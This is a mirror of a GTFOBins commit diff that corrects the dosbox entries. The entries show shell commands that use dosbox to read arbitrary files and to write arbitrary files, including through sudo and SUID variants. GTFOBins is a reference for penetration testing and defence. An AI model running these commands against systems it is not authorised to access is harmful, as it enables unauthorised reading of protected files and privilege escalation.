mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 00:38:54 +01:00 
			
		
		
		
	Fix dosbox file-read and comment line termination in file-write
This supersedes and closes #300.
This commit is contained in:
		| @@ -9,20 +9,20 @@ functions: | ||||
|     - description: The file is copied to a readable location. | ||||
|       code: | | ||||
|         LFILE='\path\to\file_to_read' | ||||
|         dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit | ||||
|         dosbox -c 'mount c /' -c "copy c:$LFILE c:\tmp\output" -c exit | ||||
|         cat '/tmp/OUTPUT' | ||||
|   file-write: | ||||
|     - description: Note that the name of the written file in the following example will be `FILE_TO_`. | ||||
|     - description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. | ||||
|       code: | | ||||
|         LFILE='\path\to\file_to_write' | ||||
|         dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit | ||||
|   suid: | ||||
|     - description: Note that the name of the written file in the following example will be `FILE_TO_`. | ||||
|     - description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. | ||||
|       code: | | ||||
|         LFILE='\path\to\file_to_write' | ||||
|         ./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit | ||||
|   sudo: | ||||
|     - description: Note that the name of the written file in the following example will be `FILE_TO_`. | ||||
|     - description: Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. | ||||
|       code: | | ||||
|         LFILE='\path\to\file_to_write' | ||||
|         sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit | ||||
|   | ||||
		Reference in New Issue
	
	Block a user